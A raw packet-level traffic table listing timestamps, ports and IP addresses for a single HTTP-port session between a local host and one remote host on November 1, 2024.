Nov 1, 2024 10:56:12.441602945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441603899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441613913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441625118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441628933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441637039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441644907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441648006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441662073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441673994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441682100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441684961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441695929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441699982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441708088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441720963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441731930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441742897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441745996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441754103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441797018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441797018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442209005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442219973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442230940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442267895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442358971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442369938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442379951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442389965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442399979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442409992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442410946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442420006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442431927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442442894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442454100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442472935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442472935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442477942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442490101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442501068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442512989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442519903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442519903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442526102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442538977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442549944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442553997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442560911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442570925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442583084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442584991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442594051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442605019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442606926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442615986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.442632914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.442667961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.443351030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443362951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443372965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443383932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443393946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443404913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443414927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443425894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443444014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443449974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.443449974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.443455935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443468094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443479061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443490028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443502903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443480015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.443514109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443520069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.443526030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443536997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443547964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.443550110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443561077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443572044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443582058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443587065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.443593025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443603992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443609953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.443615913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443629980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443640947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443651915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.443666935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.443690062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444320917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444331884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444343090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444360018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444371939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444381952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444391966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444399118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444402933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444417953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444421053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444433928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444444895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444454908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444459915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444464922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444477081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444489002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444494009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444494009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444499969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444511890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444514036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444519997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444525003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444535017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444535017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444544077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444555998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444566011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444578886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444580078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444590092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444600105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444602966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444614887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.444643974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444643974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.444672108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445269108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445281982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445291042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445302963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445319891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445327044 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445331097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445342064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445353985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445358992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445369005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445378065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445384979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445396900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445398092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445409060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445420027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445430994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445441961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445446014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445453882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445465088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445472956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445477009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445487976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445494890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445499897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445512056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445523024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445534945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445543051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445543051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445547104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445558071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.445583105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.445627928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.446173906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.446186066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.446196079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.446208000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.446218967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.446228981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.446240902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.446247101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.446259022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.446264029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.446314096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.539416075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.544291019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544315100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544327021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544395924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.544433117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544445038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544455051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544467926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544488907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.544519901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.544639111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544650078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544660091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544672966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544684887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544694901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.544696093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544708967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544720888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.544747114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.544776917 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.544970989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544981956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.544991016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545001984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545012951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545025110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545037031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545042038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.545048952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545061111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545072079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545075893 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.545084000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545095921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.545097113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545135975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.545165062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.545300961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545311928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545321941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545353889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.545447111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545459032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545469046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545480013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545490980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545502901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545514107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545525074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545536995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545547962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.545548916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545559883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545572042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545583963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545594931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.545594931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.545613050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.545639992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546080112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546092033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546101093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546112061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546123028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546134949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546144962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546148062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546155930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546180964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546181917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546200037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546201944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546211004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546221018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546231985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546242952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546251059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546255112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546266079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546278000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546289921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546310902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546333075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546758890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546770096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546780109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546789885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546801090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546811104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546814919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546822071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546838999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546859026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546861887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546870947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546881914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546886921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546892881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546904087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546909094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546915054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546926022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546931028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546943903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546957016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546967030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.546967983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546981096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.546991110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547000885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547003031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547013998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547025919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547036886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547041893 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547065020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547082901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547677040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547688007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547698021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547709942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547729015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547743082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547744036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547753096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547771931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547782898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547792912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547794104 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547804117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547813892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547813892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547827005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547832966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547838926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547849894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547854900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547862053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547873974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547885895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547890902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547898054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547909975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547910929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547920942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547931910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547931910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.547944069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547955036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.547980070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548015118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548616886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548628092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548636913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548649073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548660040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548671961 CET	80	49738	185.215.113.16	192.168.2.4
